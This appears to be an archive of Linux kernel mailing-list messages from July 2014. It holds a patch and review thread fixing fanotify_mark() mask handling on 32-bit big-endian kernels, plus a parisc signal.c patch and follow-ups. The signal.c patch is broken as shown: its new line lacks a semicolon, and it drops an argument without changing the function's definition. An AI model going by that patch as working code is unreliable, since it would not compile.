Original-Received: from mout.gmx.net ([212.227.15.15]:49246 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751989AbaGDPMm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jul 2014 11:12:42 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0MEFIm-1Ws8w12fhw-00FQtm; Fri, 04 Jul
 2014 17:12:37 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:m20eBqjmuoCLNrL/9XQ8e383jG6AjnQ2DltjC3+zCKqwIfF3CQ7
 CrL1Hug5bOkibvm3/oEGFMCXf6qdGIBrg3mPDyhFUABCaq/NVMFX/GJnF1sFwf44ISoSb6C
 rZlXR/LdsjBH+Qy42TzvdmhLtKYhX4NjQyCltRW1XxogAnMCF6LkOFrqCm5GW8bfkO3RXTY
 aH91zdQgkc1H8ewOpj5wQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5903 gmane.linux.kernel:1739168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5903>

This patch affects big endian architectures only.

On those with 32bit userspace and 64bit kernel (CONFIG_COMPAT=y) the
64bit mask parameter is correctly constructed out of two 32bit values in
the compat_fanotify_mark() function and then passed as 64bit parameter
to the fanotify_mark() syscall.

But for the CONFIG_COMPAT=n case (32bit kernel & userspace),
compat_fanotify_mark() isn't used and the fanotify_mark syscall implementation
is used directly. In that case the upper and lower 32 bits of the 64bit mask
parameter is still swapped on big endian machines and thus leads to
fanotify_mark failing with -EINVAL.

Here is a strace of the same 32bit executable (fanotify01 testcase from LTP):

On a 64bit kernel it suceeds:
syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = 0

On a 32bit kernel it fails:
syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = -1 (errno 22)

Below is the easiest fix for this problem by simply swapping the upper and
lower 32bit of the 64 bit mask parameter when building a pure 32bit kernel.

But on the other side, using __u64 in a syscall API is IMHO wrong.  This may
easily break 32bit kernel builds, esp. on big endian machines.

The clean solution would probably be to use SYSCALL_DEFINE5() when
building a 64bit-kernel, and SYSCALL_DEFINE6() for fanotify_mark() when
building a pure 32bit kernel, something like this:

#ifdef CONFIG_64BIT
SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
                              __u64, mask, int, dfd,
                              const char  __user *, pathname)
#else
SYSCALL_DEFINE6(fanotify_mark, int, fanotify_fd, unsigned int, flags,
                                __u32, mask0, __u32, mask1, int, dfd,
                                const char  __user *, pathname)
#endif


Signed-off-by: Helge Deller <deller@gmx.de>
To: Eric Paris <eparis@redhat.com>
Cc: Heinrich Schuchardt <xypron.glpk@gmx.de>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>


diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
index 3fdc8a3..374261c 100644
--- a/fs/notify/fanotify/fanotify_user.c
+++ b/fs/notify/fanotify/fanotify_user.c
@@ -787,6 +787,10 @@ SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
 	struct path path;
 	int ret;
 
+#if defined(__BIG_ENDIAN) && !defined(CONFIG_64BIT)
+	mask = (mask << 32) | (mask >> 32);
+#endif
+
 	pr_debug("%s: fanotify_fd=%d flags=%x dfd=%d pathname=%p mask=%llx\n",
 		 __func__, fanotify_fd, flags, dfd, pathname, mask);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heinrich Schuchardt <xypron.glpk@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit kernel
Date: Fri, 04 Jul 2014 18:48:33 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <53B6DAE1.1040709@gmx.de>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1404492541 3735 80.91.229.3 (4 Jul 2014 16:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Jul 2014 16:49:01 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 04 18:48:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X36fL-0001Pk-9g
	for glpp-linux-parisc@plane.gmane.org; Fri, 04 Jul 2014 18:48:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751865AbaGDQsu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jul 2014 12:48:50 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58580 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751804AbaGDQsu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jul 2014 12:48:50 -0400
Original-Received: from [192.168.123.26] ([95.222.188.187]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0M8edX-1Wgbjq343X-00wEoo; Fri, 04 Jul 2014 18:48:45
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Icedove/24.5.0
In-Reply-To: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>
X-Provags-ID: V03:K0:5HvqE7k23MCQefbTmU/h8pL8oKaKPuMdzQHRJmxnM0MC7j+KCpY
 jRc6ry/PLDUwOywiwNkzmhxtaobr3q7i9KxGLY3omAIpOZF1Eq0NBy/x23Kx1VcW4ctbPks
 5lsXZfa1+YKTF84NU0GK6fSohngsnuIOlPQsO7Pqb05LJEXQ59PCdXEAJrVm63vkPh+mp6U
 MfRyaB5mAaDm8Q8E1+ZVA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5904 gmane.linux.kernel:1739191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5904>

On 04.07.2014 17:12, Helge Deller wrote:
> This patch affects big endian architectures only.
>
> On those with 32bit userspace and 64bit kernel (CONFIG_COMPAT=y) the
> 64bit mask parameter is correctly constructed out of two 32bit values in
> the compat_fanotify_mark() function and then passed as 64bit parameter
> to the fanotify_mark() syscall.
>
> But for the CONFIG_COMPAT=n case (32bit kernel & userspace),
> compat_fanotify_mark() isn't used and the fanotify_mark syscall implementation

I was not able to find a symbol compat_fanotify_mark. Could you, please, 
indicate were this coding is.

> is used directly. In that case the upper and lower 32 bits of the 64bit mask
> parameter is still swapped on big endian machines and thus leads to
> fanotify_mark failing with -EINVAL.
>
> Here is a strace of the same 32bit executable (fanotify01 testcase from LTP):

https://github.com/linux-test-project/ltp
testcases/kernel/syscalls/fanotify/fanotify01.c
I guess.

>
> On a 64bit kernel it suceeds:
> syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
> syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = 0
>
> On a 32bit kernel it fails:
> syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
> syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = -1 (errno 22)

The syscall numbers are architecture specific.
Which architecture did you test on?

>
> Below is the easiest fix for this problem by simply swapping the upper and
> lower 32bit of the 64 bit mask parameter when building a pure 32bit kernel.

The problem you report is architecture specific.
Is fanotify_user.c really the right place for the correction?
Or should the fix be in the "arch" directory?

Best regards

Heinrich Schuchardt

>
> But on the other side, using __u64 in a syscall API is IMHO wrong.  This may
> easily break 32bit kernel builds, esp. on big endian machines.
>
> The clean solution would probably be to use SYSCALL_DEFINE5() when
> building a 64bit-kernel, and SYSCALL_DEFINE6() for fanotify_mark() when
> building a pure 32bit kernel, something like this:
>
> #ifdef CONFIG_64BIT
> SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>                                __u64, mask, int, dfd,
>                                const char  __user *, pathname)
> #else
> SYSCALL_DEFINE6(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>                                  __u32, mask0, __u32, mask1, int, dfd,
>                                  const char  __user *, pathname)
> #endif
>
>
> Signed-off-by: Helge Deller <deller@gmx.de>
> To: Eric Paris <eparis@redhat.com>
> Cc: Heinrich Schuchardt <xypron.glpk@gmx.de>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
>
>
> diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
> index 3fdc8a3..374261c 100644
> --- a/fs/notify/fanotify/fanotify_user.c
> +++ b/fs/notify/fanotify/fanotify_user.c
> @@ -787,6 +787,10 @@ SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>   	struct path path;
>   	int ret;
>
> +#if defined(__BIG_ENDIAN) && !defined(CONFIG_64BIT)
> +	mask = (mask << 32) | (mask >> 32);
> +#endif
> +
>   	pr_debug("%s: fanotify_fd=%d flags=%x dfd=%d pathname=%p mask=%llx\n",
>   		 __func__, fanotify_fd, flags, dfd, pathname, mask);
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit kernel
Date: Fri, 04 Jul 2014 19:03:32 +0200
Lines: 114
Approved: news@gmane.org
Message-ID: <53B6DE64.4000706@gmx.de>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp> <53B6DAE1.1040709@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1404493433 14479 80.91.229.3 (4 Jul 2014 17:03:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Jul 2014 17:03:53 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Heinrich Schuchardt <xypron.glpk@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 04 19:03:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X36tk-0003YT-3I
	for glpp-linux-parisc@plane.gmane.org; Fri, 04 Jul 2014 19:03:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755962AbaGDRDn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jul 2014 13:03:43 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:51077 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751503AbaGDRDm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jul 2014 13:03:42 -0400
Original-Received: from [192.168.178.60] ([84.173.9.42]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MDhba-1WqSm80SeU-00H5Zw; Fri, 04 Jul 2014 19:03:34
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <53B6DAE1.1040709@gmx.de>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:hkNtITXNeMSPnynLFxgBBNs6BBYi4AiOXzR5v5gDnSMrRPmPFmn
 7UL65QV2LcZA2fBR8I5D1ibfM6dC9MlxldZghUAEcsHh5A6Vq5q3E1oI0wDkJ/pK6Nw5be2
 ahJgUOCBMa3ukv6wXLWQvCn/IIp9RXJifIPuoQwM8kTpgHLRsMAouuDwgw7u0a+MxIQM29D
 qzHvRKvf/Xm4RmR0VPSpw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5905 gmane.linux.kernel:1739200
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5905>

Hi Heinrich,

On 07/04/2014 06:48 PM, Heinrich Schuchardt wrote:
> On 04.07.2014 17:12, Helge Deller wrote:
>> This patch affects big endian architectures only.
>>
>> On those with 32bit userspace and 64bit kernel (CONFIG_COMPAT=y) the
>> 64bit mask parameter is correctly constructed out of two 32bit values in
>> the compat_fanotify_mark() function and then passed as 64bit parameter
>> to the fanotify_mark() syscall.
>>
>> But for the CONFIG_COMPAT=n case (32bit kernel & userspace),
>> compat_fanotify_mark() isn't used and the fanotify_mark syscall implementation
> 
> I was not able to find a symbol compat_fanotify_mark. Could you, please, indicate were this coding is.

fs/notify/fanotify/fanotify_user.c around line 892:
#ifdef CONFIG_COMPAT
COMPAT_SYSCALL_DEFINE6(fanotify_mark,
                                int, fanotify_fd, unsigned int, flags,
                                __u32, mask0, __u32, mask1, int, dfd,
                                const char  __user *, pathname)

>> is used directly. In that case the upper and lower 32 bits of the 64bit mask
>> parameter is still swapped on big endian machines and thus leads to
>> fanotify_mark failing with -EINVAL.
>>
>> Here is a strace of the same 32bit executable (fanotify01 testcase from LTP):
> 
> https://github.com/linux-test-project/ltp
> testcases/kernel/syscalls/fanotify/fanotify01.c
> I guess.

Yes.

>> On a 64bit kernel it suceeds:
>> syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
>> syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = 0
>>
>> On a 32bit kernel it fails:
>> syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
>> syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = -1 (errno 22)
> 
> The syscall numbers are architecture specific.
> Which architecture did you test on?

Yes, the numbers are architecture specifc.
I tested on HP-PARISC (parisc arch) with 32- and 64bit kernel.

>> Below is the easiest fix for this problem by simply swapping the upper and
>> lower 32bit of the 64 bit mask parameter when building a pure 32bit kernel.
> 
> The problem you report is architecture specific.

It affects all *big endian* architectures (parisc, s390, ppc, ...)
So, if people could test it with a 32bit kernel on those other architectures
it would be nice.

> Is fanotify_user.c really the right place for the correction?
> Or should the fix be in the "arch" directory?

I don't think the fix should go in the arch architectures, because
then you have to modify it for each big endian arch.

>> But on the other side, using __u64 in a syscall API is IMHO wrong.  This may
>> easily break 32bit kernel builds, esp. on big endian machines.
>>
>> The clean solution would probably be to use SYSCALL_DEFINE5() when
>> building a 64bit-kernel, and SYSCALL_DEFINE6() for fanotify_mark() when
>> building a pure 32bit kernel, something like this:

Again, I think using __u64 as type for a generic syscall is wrong, esp.
if the same code is compiled for 32- and 64bit. 
This is my (uncomplete!) suggestion, but it would add many more lines and 
makes reading the code more complicated.

>> #ifdef CONFIG_64BIT
>> SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>>                                __u64, mask, int, dfd,
>>                                const char  __user *, pathname)
>> #else
>> SYSCALL_DEFINE6(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>>                                  __u32, mask0, __u32, mask1, int, dfd,
>>                                  const char  __user *, pathname)
>> #endif
>>
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>> To: Eric Paris <eparis@redhat.com>
>> Cc: Heinrich Schuchardt <xypron.glpk@gmx.de>
>> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
>>
>>
>> diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
>> index 3fdc8a3..374261c 100644
>> --- a/fs/notify/fanotify/fanotify_user.c
>> +++ b/fs/notify/fanotify/fanotify_user.c
>> @@ -787,6 +787,10 @@ SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
>>       struct path path;
>>       int ret;
>>
>> +#if defined(__BIG_ENDIAN) && !defined(CONFIG_64BIT)
>> +    mask = (mask << 32) | (mask >> 32);
>> +#endif
>> +
>>       pr_debug("%s: fanotify_fd=%d flags=%x dfd=%d pathname=%p mask=%llx\n",
>>            __func__, fanotify_fd, flags, dfd, pathname, mask);
>>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Remove sizeof(frame) from call to get_sigframe
Date: Fri,  4 Jul 2014 23:20:57 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <1404530457-4739-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1404530473 954 80.91.229.3 (5 Jul 2014 03:21:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jul 2014 03:21:13 +0000 (UTC)
Cc: deller@gmx.de, tiwai@suse.de, jkosina@suse.cz,
	dave.anglin@bell.net, joe@perches.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 05 05:21:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X3GXB-0002mB-6p
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 Jul 2014 05:21:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754067AbaGEDVE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jul 2014 23:21:04 -0400
Original-Received: from mail-ie0-f171.google.com ([209.85.223.171]:53954 "EHLO
	mail-ie0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753996AbaGEDVD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jul 2014 23:21:03 -0400
Original-Received: by mail-ie0-f171.google.com with SMTP id x19so2027065ier.2
        for <multiple recipients>; Fri, 04 Jul 2014 20:21:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=3F3xpzn0ZPBePTVIMxcmjv+EycWZkifySMnxdrbjDIA=;
        b=mz/X573TZF331SMAarhiqlZZ74pot8SWUW/KaWFh+txjp6Nu470IhMtrUSzx1n5c3f
         Q8K+CgglF+7UZQFu1vxwoauVD9X4nujvufgCu/7O8kSo2Q0EIp4UW2z9Np/dysXumhcc
         33+JAkT8Zu+6jQzcgG7/fhyb0fXqVjfg734Os7gEhcgJJCBPm2spnu1owuDRJb9stw1I
         WYS3+e6baBmIuTyRVcuV2t44TgPzKCAqztKB7KyfvY1WK/IwXVCCG4tUigyR5lKkef9Y
         GjXmbv8vpAksDxhzGMLm+QVrJ3ILrOZJvrO4B8f/g1oEP34HhzMPeR781k48Qt2LuHjZ
         D5MQ==
X-Received: by 10.42.80.81 with SMTP id u17mr51116ick.64.1404530462030;
        Fri, 04 Jul 2014 20:21:02 -0700 (PDT)
Original-Received: from nick-System-Product-Name.phub.net.cable.rogers.com (CPE0026f3330aca-CM0026f3330ac6.cpe.net.cable.rogers.com. [99.232.64.167])
        by mx.google.com with ESMTPSA id t1sm67855141igh.9.2014.07.04.20.21.00
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 04 Jul 2014 20:21:01 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5906 gmane.linux.kernel:1739559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5906>

This removes the sizeof(frame) from the call to get_sigframe on line
243 in order to fix the call to this function as the sizeof in not
needed to call this function.

Signed-off-by: Nicholas Krause <xerofoify@gmail.com>
---
 arch/parisc/kernel/signal.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 1cba8f2..3b7caac 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -240,8 +240,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #endif
 	
 	usp = (regs->gr[30] & ~(0x01UL));
-	/*FIXME: frame_size parameter is unused, remove it. */
-	frame = get_sigframe(ka, usp, sizeof(*frame));
+	frame = get_sigframe(ka, usp)
 
 	DBG(1,"SETUP_RT_FRAME: START\n");
 	DBG(1,"setup_rt_frame: frame %p info %p\n", frame, info);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: signal.c : FIX ME on line 273
Date: Fri, 4 Jul 2014 23:57:34 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <CAPDOMVhT5g2Prtt=UVtpcWCwY6eBQ4pCOwK0FFZdN3=KopomDA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1404532665 21034 80.91.229.3 (5 Jul 2014 03:57:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jul 2014 03:57:45 +0000 (UTC)
Cc: deller@gmx.de, dave.anglin@bell.net, tiwai@suse.de,
	Jiri Kosina <jkosina@suse.cz>, Joe Perches <joe@perches.com>,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 05 05:57:37 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X3H6W-00076G-I0
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 Jul 2014 05:57:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760433AbaGED5g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jul 2014 23:57:36 -0400
Original-Received: from mail-vc0-f171.google.com ([209.85.220.171]:64986 "EHLO
	mail-vc0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754184AbaGED5f (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jul 2014 23:57:35 -0400
Original-Received: by mail-vc0-f171.google.com with SMTP id id10so2127117vcb.2
        for <multiple recipients>; Fri, 04 Jul 2014 20:57:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:cc:content-type;
        bh=EV039vBPPLB/NfuOjFAEcfQ2Frlanq2sLQQlsCO7rg8=;
        b=ED+bRDLrsrnknufjwpuWwpJoQZqa8LMNB1qV1Xcl8P5E0sbJqNu+KVcQO8rvxVf9jK
         n0ltFj1Uf1GYtOlazLGNcaNWV+1II7eXZxg9bs5v0asg8zMzPiN/nZc3XF2KeiKW1VxM
         0iuonphIYjQeStGAu4PLOzlV3jdyVHgqcdkB8KwFjH+ndivcqu4HQEwQi/DkWz7DNzuY
         nerWy88VkUSHgAa71zZ5PkQASs0Ah3+1+qc7210erEvfO7hPWR0adT8dnJeDq2kCUKT9
         hT7QVYn2UHFe0/lTSN3QJRdQOt30bG3dG7NxAFbNYgcisAwe/35y8JjmRzgozsiqpfWc
         OJuQ==
X-Received: by 10.52.117.209 with SMTP id kg17mr10922930vdb.28.1404532654740;
 Fri, 04 Jul 2014 20:57:34 -0700 (PDT)
Original-Received: by 10.221.53.5 with HTTP; Fri, 4 Jul 2014 20:57:34 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5907 gmane.linux.kernel:1739565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5907>

There seems to be a FIX Me message on line 273. I was wondering my
what you mean convert for the compact case.
Cheers Nick
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Remove sizeof(frame) from call to get_sigframe
Date: Fri, 04 Jul 2014 20:58:22 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <1404532702.6384.36.camel@joe-AO725>
References: <1404530457-4739-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1404532725 21645 80.91.229.3 (5 Jul 2014 03:58:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jul 2014 03:58:45 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, tiwai@suse.de,
	jkosina@suse.cz, dave.anglin@bell.net,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Nicholas Krause <xerofoify@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jul 05 05:58:36 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1X3H7T-000250-Lg
	for glk-linux-kernel-3@plane.gmane.org; Sat, 05 Jul 2014 05:58:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760590AbaGED62 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 4 Jul 2014 23:58:28 -0400
Original-Received: from smtprelay0213.hostedemail.com ([216.40.44.213]:44389 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754086AbaGED61 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 4 Jul 2014 23:58:27 -0400
